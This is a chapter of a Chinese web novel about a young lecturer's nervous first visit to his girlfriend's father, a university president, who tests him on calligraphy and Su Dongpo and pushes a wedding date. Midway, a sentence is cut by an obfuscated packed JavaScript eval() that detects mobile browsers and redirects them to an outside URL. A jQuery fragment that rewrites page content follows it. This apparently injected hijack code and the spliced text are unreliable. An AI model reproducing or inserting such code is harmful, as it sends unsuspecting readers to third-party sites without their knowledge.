14. 初次登门
作品:《象牙塔之波》 在余丹凤的软硬兼施和吴雅娟的“强买强卖”下,顾明远终究只能选择迈出标志性的一步:登门拜访吴家。
在源自乡下老家的模糊认知里,男女双方第一次正式上门是一件堪比重大仪式的庄重之事,这关乎认可、关乎礼数乃至关乎基调。连续两个晚上,顾明远辗转反侧,难以成眠,仿佛身下不是铺着棉褥的床板,而是灼热的烙铁。
“该选购怎样的礼物才算得体又不失分寸?”
“衣着是正式些好还是随意些更显自然?”
“面对吴校长可能的提问,该如何作答才能既显真诚又不失深度?”
……等等这些问题,如同无数只失控的猫仔在他脑海里尖叫着横冲直撞,搅得他心神不宁。
穷尽思虑仍不得其法,顾明远只好向二姐顾小满求助。别看顾小满是个地道的乡下女人,但妇女主任的历练让她的智慧和主意一点不少。听完弟弟充满焦虑的叙述,顾小满“扑哧”笑了出来:“我看你啊,说到底还是被校长家的气势给唬住了!怕么事唦?小吴不过是个电大毕业的成教生,我们家明儿上正儿八经的清北高材生,配她那还不是绰绰有余的呀。大大方方的,别显得低人一等似的。”
二姐的话一针见血道破顾明远内心最深处的困窘。是啊,这几天患得患失、忐忑不安,可不都是因为自己的出身在作祟吗?二姐的话像一把锤子敲碎了他心外围裹的一层硬壳,让他豁然开朗。
战略层面有了底气的顾明远就战术问题继续向二姐请教。顾小满沉吟了片刻说道:“穿衣服这事儿,我看你就按平时来,干净、整齐、大方就好,别特意去搞什么西装革履,反而显得拘束、见外。不过呢,第一次上门礼物还是要讲究点。校长那样的人家,估计啥也不缺,你倒是可以悄悄问问小吴,她爸妈平时有什么喜好没有,投其所好总不会错的。”
顾小满刚说出“喜好”二字,顾明远立刻知道该准备什么了。
周六一大早,天色微熹,顾明远就已醒转。昨夜依旧睡眠浅薄,但心境已与之前的焦虑有所不同。他起身拉开窗帘,只见窗外碧空如洗,一望无际的蔚蓝仿佛一块巨大的澄澈琉璃。几缕轻盈剔透的薄云,如同仙女随手挥出的纱巾,悠然飘荡,更衬出天空的明净与高远。受了流云飘移的诱惑,几只云雀欢快地在蓝色的天幕下穿梭往来,划出一条条短促而亮丽的轨迹。楼下那片高大茂密的凤尾竹林里,画眉鸟清脆婉转的鸣叫声丝丝入扣,宛如技艺精湛的小提琴手在晨曦中演奏着恬静的乐章。
顾明远的心情变得澄明、爽朗起来,甚至生出了一丝淡淡的期待。他深吸一口清晨凉爽的空气,翻身下床,再次仔细检查了一遍昨天傍晚精心购置的礼物,又在镜子前练习了几次脸上的表情,掐算着时间下了楼。
楚江大学东南角,绿树掩映、翠竹环抱之中,悄然矗立着一栋颇具气势的砖红色楼栋。这就是楚江大学人所共知的“校长楼”,也有人戏称其为“紫禁城”。“紫禁城”是楚江大学无数处长、院长、研究所所长们心中梦寐以求、渴望入住的圣地,毕竟它是楚江大学权力与地位的标志性建筑。
“紫禁城”的前方,是一片精心设计开挖而成的人工荷塘。此时已是深秋,水面上只余下些残荷枯叶,略显萧瑟寂寥。楼宇背后,则是一座人工堆砌的小山,山顶上建有小巧却精致的琉璃瓦亭子,遍植松柏、红枫等观赏树木,让“紫禁城”与周围那些整齐划一、色调沉闷的铁灰色建筑相比,显出更多的生机和别致。
当脚步越来越接近这栋砖红色楼宇时,顾明远分明感受到这个没有生命的建筑体正“滋滋”地向外辐射着一种无形的、强大的气场。这气场混合着权力、学识、地位以及某种难以言喻的优越感,沉甸甸地压迫过来。他的心跳不由自主地加速,如同被用力擂响的战鼓,急促而有力,撞击着胸腔,声音大得仿佛自己都能听见。他感觉道路两旁的树林间、静谧的草丛中、甚至那些拉着窗帘的窗户后面,似乎有千百双热辣而审视的眼睛正在窥探着自己这个陌生的闯入者。他的脑海中不受控制地反复浮现出吴若甫校长在主席台上不怒自威的形象,同时一遍又一遍地温习着那些应对各种可能“拷问”的答题技巧。
不知不觉间,他已经来到了小山脚下。顾明远抬腕看了看表,距离约定的时间尚有十来分钟。他拐进两丛茂密凤尾竹中的木质条椅上,试图利用这宝贵的片刻来平复剧烈的心跳。
大约还剩三分钟的时候,顾明远深吸一口气,尽量迈着沉稳的步子向“紫禁城”的门洞走去。
吴雅娟和余丹凤正站在楼前一棵枝繁叶茂、亭亭如盖的大樟树下等候着他。吴雅娟显然是经过了一番精心的打扮。她身着一条款式新颖的长及膝盖的牛仔裙。脸颊上轻扫淡粉色的胭脂,使得她原本略显苍白透明的脸色因这抹红晕而焕发出生机与光彩。也许是眼线精心勾描的效果,顾明远第一次发现,吴雅娟眉宇间似乎隐隐透露出一种以往未曾留意到的英气。
眼尖的余丹凤一眼就看见了顾明远手里的礼物袋,便不由分说地抢了过去,语气中带着几分熟稔的霸道:“来来来,先让我瞧瞧,看看你这个大秀才第一次登门,给我们领导准备了什么稀罕宝贝?”拆开包装一看,里面竟是一方古朴的砚台和一盒毛笔,余丹凤脸上闪过一丝难以掩饰的失望,小声嘀咕起来。吴雅娟脸上却绽放出惊喜的笑容,甚至带着点赞赏意味地拍了一把顾明远的肩头:“行啊顾老师!老爸肯定喜欢!”
三人刚踏上楼梯,只听见三楼传来一声铁门开启的“吱呀”轻响。一位腰间系着干净碎花围裙、看上去五十岁上下、面容和善的中年女人正满脸含笑地立在楼梯口,热情地迎候着他们。顾明远不敢抬头直视对方,便条件反射般地叫了一声“伯母好”。
余丹凤忍不住嗤笑起来,吴雅娟用力扯了扯顾明远的袖子低声嗔怪:“看清楚了再叫呀!这是我家乡下过来帮忙的方阿姨。”
顾明远顿时窘得恨不得找个地缝立刻钻进去。
刚一跨进门槛,余丹凤像是得胜回朝、凯旋班师的将军提高了嗓门亲昵地喊道:“吴校长!万老师!我可把人带来啦!”
话音未落,里屋缓缓走出一位体态丰腴、面色红润、戴着金丝边眼镜、气质雍容的女人。顾明远仔细确认后,连忙微微躬身说道:“万老师好。”
万素琴脸上的表情有些刻意的矜持,只是淡淡地说了句“来啦”,显得有些疏离和保留。
万素琴看似冷淡这冷淡的态度,像一缕无形的寒风,瞬间顾明远刚刚放松些许的神经再次紧绷起来。正在焦急间,厨房门口传来一声俏皮而略带戏谑的调侃:“哟,这不是鼎鼎大名的顾大才子吗?怎么进了门像个木头桩子似的傻站着呀,这可不像你在课堂上游刃有余的样子嘛。”
循声望去,原来是吴雅洁,顾明远挤出些僵硬的笑容和她打了声招呼。
客厅里的气氛有些沉闷和尴尬。红木家具、名人字画乃至博古架上的名贵瓷器,都在无声地散发着一种冷冽的和带有距离感的气息。
“妈,这位是顾明远。”吴雅娟有意将顾明远推到万素琴面前,试图打破僵局。
万素琴上下打量了顾明远一遍,语气平淡中添了些温度:“嗯,以前见过呀。小顾,别站着了,坐吧。”她指了一下那张宽大的红木沙发。
顾明远几乎是挪着步子挨着光滑冰凉的红木沙发坐下。
吴雅洁站在一旁,故意用一种探究的眼神打量他,嘴角始终挂着一丝若有若无、让人捉摸不透的笑意:“真是稀奇了,听说顾老师口才了得,怎么到了这里,倒成了锯嘴的葫芦——哑巴了?”
吴雅娟狠命地掐了一下吴雅洁的胳膊:“没大没小的。怎么说话呢?”
这时,方阿姨笑眯眯地递上一杯刚沏好的热茶。
顾明远口中连声道谢地双手接过。不料茶杯壁极烫,猝不及防的他险些失手将茶杯摔了,只好硬生生忍住那灼痛感,稳稳捧住,指尖瞬间就红了一片。
就在顾明远窘迫得不知如何是好的时候,里屋传来一声有力而清晰的咳嗽声。
这声咳嗽,如同戏台开演的锣响,预示着真正主角的登场。
吴若甫出现在书房门口时,客厅里的气氛瞬间为之一变。余丹凤反应最快,急忙上前两步,殷勤地虚扶着他到正中间的沙发上坐下。
事实上,邀请顾明远上门正是吴若甫本人的主意。距离他正式卸任校长职务只剩一年多一点的时间,女儿的婚姻大事是眼下吴若心中的头等大事。他清楚,退休前和退休后,无论是可用的资源和可得的礼金,那是有天壤之别的。
吴若甫有意想先冷一冷顾明远,故意将目光投向垂手恭立一旁的余丹凤笑道:“余处长今天怎么这么有空,特地来看望我这个快要退休的老家伙啦?”话语间带着几分自嘲和试探。
余丹凤立刻涨红了脸故作嗔怪地说道:“哎哟我的吴校长,您说这话我可就不爱听了!什么快要退休?您这精气神,这威望,再干十年都没问题!再说退一万步,您就算哪天真退下来了,在我们大家伙儿心里,您也永远是我们的校长,是楚江大学的定海神针!”她的话语又快又急,充满了夸张的热度。
万素琴似乎也对丈夫这话不太满意,翻了个白眼接口道:“就是,你就那么盼着退休哇。”
吴若甫这才把目光转移到顾明远的身上:“小顾,你看看她们,不懂得‘一觉闲眠百病消’的妙处嘛。”
顾明远听出这是白居易的诗句。心里吃不准吴若甫是不是在试探自己,只好虚浮着应付:“白居易其实也有‘百岁无多时壮健’的豪迈。”
两人文绉绉的猜谜式的说话让万素琴皱起了眉头,她起身关掉正在放松屠洪刚《霸王别姬》的录音机后说道:“大家安安静静聊聊天嘛。”
音乐声戛然而止。顾明远打了一个激灵:这应该是面试开始的信号吧。主考官无疑是稳坐中央、不怒自威的吴若甫校长;主问人很可能是不动声色、目光审视的万素琴老师;余丹凤和吴雅洁大概算是监考和旁听的角色。作为考生,顾明远来之前酝酿了许久的自信如同春日娇嫩脆弱的花蕾,在凛冽寒风的侵袭下瞬间便萎靡了。他尽力坐得笔直,像一尊雕塑,额头上不可控制地冒出细密的汗珠。他不时拿眼角的余光瞟向吴雅娟,她是眼前唯一能够提供帮助的人。
果然,万素琴开始看似随意地、实则步步深入地打问起顾明远农村老家的各种情况。从母亲是因何种疾病去世,到身为民办教师的父亲退休待遇如何、身体可否安康,再到两个已经出嫁的姐姐各自的家境……问题细致得如同梳子一样。
这些问题像一根根细针精准地刺探着顾明远内心最敏感。尽管心情紧张,他并不打算有任何掩饰,一五一十地简略作答。
看见顾明远的脖颈处全是汗珠,吴雅娟心急如焚,不停地试图打断母亲的盘问和余丹凤多余的插话。几个女人间的七嘴八舌,话语如同碎瓷碗里倒核桃,又脆又急,噼里啪啦地响成一片,这让一旁静静观察的吴若甫有些嫌烦,干脆起身瞄了顾明远一眼:“小顾,别在这里听她们絮叨。走,我们去书房里聊聊。”
顾明远如蒙大赦,赶紧跟在吴若甫后面走进了书房。
书房宽敞明亮、古雅庄重。首先映入顾明远眼帘的,是那张阔大的、光可鉴人的楠木写字台,上面整齐有序地摆放着端砚、湖笔、宣纸、墨锭这上好的文房四宝;靠西墙是一排高及屋顶的实木书架,占据了整整一面墙的空间,里面密密匝匝地码放着许多线装的古籍书册和精装学术著作。
顾明远心里也不由得生出几分窃喜:将来有机会一定要好好浏览一下书架上的宝藏。
吴若甫有意在书桌前的藤椅上坐下,将顾明远的目光吸引到桌上刚刚临好的苏东坡《寒食帖》。他要考较一下这位已有些声名的年轻人:“这是我刚才随手临的。小顾,你来看看,顺便给提点意见?”虽是谦辞,眼神里却分明带着期待和审视。
顾明远心里顿时惶惑起来。尽管知道《寒食帖》被誉为“天下第三行书”,但知道自己对于书法的鉴赏其实只懂些皮毛而已,远远谈不上精通。
吴若甫的表情显然不是在开玩笑。顾明远只好硬着头皮,假装俯身凑近认真欣赏临帖,脑子飞速运转紧急翻找着过去阅读相关书籍时留下的、关于书法评价的专业词汇存货,同时极力回忆《寒食帖》原帖的神韵。片刻之后,他斟酌着开了口:“吴校长您谦虚了。虽然我不太懂书法,但您的临作应该是深得原帖的神韵。尤其是这用墨,浓淡相宜,很有些古朴之气;结体上取横扁之势,又多了点宽博之气;字势的偃仰倾仄也把握得恰到好处。”所谓的“用墨”、“结体”、“偃仰”这些词,全都是在脑海里“搜刮”来的存货现炒现卖。
吴若甫听完,心中十分满意的神色,但嘴上还是坚持要顾明远提些意见。他知道,能够提出意见来,既能看出年轻人的功夫,更能看出年轻人的骨格。
顾明远被逼无奈,只好随口编了一个看似无伤大雅的缺点:“非要我说的话……,我觉得……是不是……枯墨运用得稍微多了一点?”
没想到,这个敷衍的“批评”却意外地得到了吴若甫的表扬:“哦?枯墨多了点?嗯……有道理,有道理!看来顾老师对书法还是很有研究!”说罢,指了指桌上的宣纸:“有没有兴趣也来挥毫一幅?”
顾明远吓得心里哆嗦,这回拒绝的语气格外坚决。惊慌失措的样子倒把吴若甫逗笑了,也不再强求。示意顾明远在书桌对面的扶手椅上坐下,自己一边慢悠悠地翻看着《寒食帖》原帖,一边仿佛漫不经心地、如同闲谈般问道:“我听周副校长提起,你硕士阶段主攻的是宋代文化史方向,而且对苏东坡其人其文还有很深的研究?”这个问题,隐隐带着将话题从单纯的书法引向更广阔领域的意图。
这个问题无异于打开了顾明远最熟悉的开关。情绪一下子调动了起来,之前的紧张感暂时被抛到脑后,开始引经据典有意识卖弄起自己的“独门功夫”。
年轻人都有忘乎所以后无法掌控住节奏的毛病。在顾明远侃侃而谈的时候,吴若甫的眉头几不可察地微微皱起了两次。他有意将顾明远引向书房,卖弄自己的书法尚在其次,他是想借机要“驯化驯化”这个据说“两耳不闻窗外事”的年轻人。
吴若甫轻轻咳嗽了一声,指了指顾明远面前的茶杯,温和却不失力度地打断了他:“口渴了吧?先喝点水。”停了片刻后缓缓地说道:“你刚才讲的这些大多侧重于苏东坡在文学艺术上的成就。不过——”他话锋一转,目光变得更为深邃:“不知你注意到没有,苏东坡的政治抱负和政治才能其实同样宏大和卓越。你看他在地方任职时,兴修水利、赈济灾荒、发展生产,政绩斐然。这也正是后世历代许多知识分子,不仅仰慕其文采,更将其奉为理想人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904215|192344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
格偶像的一个重要原因罢。毕竟,中国传统士大夫的最高理想,是‘修身齐家治国平天下’,而非仅仅吟风弄月。”他的话语中,开始蕴含更深层的意味。
吴若甫这番话,勾起了顾明远进一步展示自己学识广博和思想深度的欲望:“是啊是啊,吴校长您说得太对了!苏东坡确实是古今文人心目中一个近乎完美的偶像。我觉得吧,他这个人呀,最难得的是活得特别真实、特别饱满,像一锅始终滚沸的开水,一生都热气腾腾的,生命力极其旺盛,到哪儿都能冒出精彩的泡泡来。他那句‘人生如逆旅,我亦是行人’,真是将人生的漂泊与无常看得通透,却又表达得如此豁达潇洒。他这人吧,活得特别‘真’,真正活出了我们很多人心里那个最想当、却又常常因为现实种种束缚而不敢去做的自己。”
顾明远充满个人色彩的诠释让吴若甫多了一丝担忧甚至反感。在这位位高权重的校长看来,锋芒毕露和夸夸其谈实在是将来成长路上的大忌甚至是致命的弱点。
吴若甫放下手中的放大镜,目光中透出些许审视的寒芒:“那么,依你小顾看来,当下的知识分子,特别是像你们这样身处高校年轻人,更应该从苏东坡身上汲取怎样的启示呢?”这个问题,直指核心,带有强烈的现实关照。
答案早已在藏在顾明远心中:“我认为,最重要的是学习他在任何艰难逆境中,都能保持的那种乐观、洒脱的精神态度。”
“嗯,逆境中的洒脱。说得很好。”吴若甫缓缓点头,表示认可,但随即话锋如同锥子般直刺而来:“那你想过没有,以苏东坡之旷世才华,为何一生仕途总是处在不断的逆境之中呢?屡遭贬谪,颠沛流离。这背后的深层原因,究竟是什么?”
吴若甫的这个提问有些出乎顾明远的意料。语塞了片刻后用不太确定的口气答道:“这个……史学界多有讨论。大概……主要还是源于当时的党争激烈,政局反复无常吧?当然,也和他个人的……性格,有比较大的关系。”最后一句,他说得有些迟疑。
“是啊。性格决定命运。古今皆然,概莫能外。”吴若甫意味深长地重复了一句,目光深沉地看着顾明远:“以苏东坡的政治才华,若非性格所限,早该是出将入相了。他之所以一生仕途坎坷,壮志难酬,除了外部政治环境的恶劣,其自身过于直率、不善韬光养晦、甚至有些恃才傲物的性格‘缺陷’,恐怕也是不容回避的重要因素。这一点,尤其值得你们这些在高校工作的年轻人引以为戒的。”他的话,已经带有了明确的指向性和敲打的意味。
顾明远隐隐约约地察觉出了吴若甫这番话里的弦外之音。尽管内心更倾向、更珍视苏东坡人格魅力中最闪光、最珍贵的部分,但理智告诉他,今天这样的场合,是不能喝未来的岳父去一较虚实的。
吴若甫似乎看穿了他内心的不服,端起茶杯,轻轻抿了一口,仿佛随口问道:“如果让你再教学科研之外承担些管理方面的工作,你怎么看?”
顾明远彻底明白了吴若甫之前借苏东坡之事敲打自己的真正用心。他壮着胆子试着说道:“吴校长,我觉得吧。一个人的精力毕竟是有限的。尤其现在教学科研任务非常繁重,如果做不到心无旁骛,最后可能两头都做不精、做不好。”他的声音因为紧张而显得有些干涩,但努力表达着自己的想法。
吴若甫的眉头愈发锁紧了些,轻轻放下茶杯说道:“年轻人呐,看问题要看得远一点、全面一点。周副校长对你评价很高,认为你是个复合型人才。今时不同古代。年轻人嘛,要善于运用自己的才华,让才华发挥出最大的价值,成就更大的事业。”他顿了一下,目光扫过书房里满架的书籍:“其实呀,象牙塔里的学问和管理,从来就不是截然对立、非此即彼的关系。处理好了,它们完全是相互成就、相得益彰的。不要想当然地将它们割裂开来,对立起来嘛。你看你们的周校长不是副校长兼博士生导师的嘛,将来搞不好还要接我的班的呢。”
吴若甫这番半是教训半是引导的话像一盆冷水,将顾明远心中残存的那点轻快和自信销蚀得所剩无几,骨子里感到一种莫名的压抑和不适。
正在无所适从之际,虚掩的书房房门被人从外面轻轻推了开来。
一直悄悄守在书房门口偷听的吴雅娟敏锐地察觉到里面的气氛,便以开饭为借口,推门进来为顾明远解围。
方姨显然使出了浑身解数,精心准备了一桌极为丰盛的菜肴。吴若甫嚷着让老伴取来一瓶好酒,显然准备进一步探探顾明远的酒品。
万素琴对顾明远的农村出身和清贫的家庭背景心存芥蒂,便将原本备好的茅台换成了一瓶已经开封的“西凤”。吴雅娟脸上闪过一丝不快,悄没声息地将“西凤”又换回了茅台。
就再顾明远纠结要不要第一个站起来给吴若甫敬酒时,余丹凤已经抢先站了起来。她双手举着酒杯,绕过半个桌子,走到吴若甫座旁,几乎呈九十度地向吴若甫深鞠了一躬,声音异常热情和谦卑:“吴校长!您坐着,您千万别动!这第一杯酒,无论如何都得我先敬您!我干了,您随意,您随意就好!”说完,一仰头,极其豪爽地将杯中那点白酒一饮而尽,亮了下杯底。似乎觉得一杯不足以表达她的敬意,余丹凤拿过酒瓶又给自己倒满,嚷嚷着非要敬第二杯。吴若甫笑着摆手问道:“小余啊,这又是为什么还要敬呀?一杯心意到了就行了嘛。”
余丹凤的眼眶一下子潮红起来,声音也带上了几分哽咽:“吴校长!您这话说的!这第二杯,更是非敬不可!您对我,那是知遇之恩,再造之情啊!要不是您当年力排众议,我余丹凤今天只怕还是一个被人瞧不起的小科长呢。您说,这酒我能不多敬您几杯吗?这恩情,我永远记在心里!”她说得声情并茂,几乎要声泪俱下。
吴雅娟在一旁看得直皱眉头,赶紧拿回酒瓶,轻轻捅了捅身边的顾明远,低声催促:“敬酒呀。”
顾明远这才仿佛被点醒,赶紧端着酒杯走到吴若甫面前,恭恭敬敬地敬了一杯。吴雅洁在一旁似乎嫌不够热闹,拽了一把顾明远的胳膊,用一种半开玩笑半认真的语气高声说道:“哎,小顾,你这酒可不能就这么白喝了,怎么也得给我伯伯和娘娘表个态吧,啥时娶我姐呀?”
余丹凤趁机附和。毫无准备的顾明远有些发蒙,两颊涨得发紫,下意识看了吴雅娟一眼。吴雅娟眼神里似乎也满含着某种期待和羞涩,并没有要替他解围的意思。
看见顾明远局促着不说话,万素琴的脸色沉了下来。余丹凤见状,干脆端起酒杯,自作主张地代表顾明远说道:“哎呀,看把小顾给害羞的!还是我来说吧。吴校长,万老师,你们放心!现在快十二月了,我看啊,最晚春节过后,怎么的也得让他们老顾家来武汉提亲下聘礼。你说行不行?小顾?”
余丹凤已经做了决定,顾明远哪敢说出半个“不”字。
余丹凤如此“懂事”的自作主张恰好遂了吴若甫的心愿:年底提亲,明年五一节举办婚礼,然后明年九十月自己功德圆满地退休。想到这些,吴若甫主动端着杯子站了起来朗声说道:“好了好了,今天说得够多的了。来来来,动筷子,动筷子!这么丰盛的菜,方姨辛苦做的,再不抓紧吃可就都要凉了,那才是真的可惜了!”
在热闹而又喜庆的气氛中,顾明远却感觉自己仿佛置身于一个无声的漩涡中心。登门第一关看起来似乎过了,但总感觉有些东西才刚刚开始。

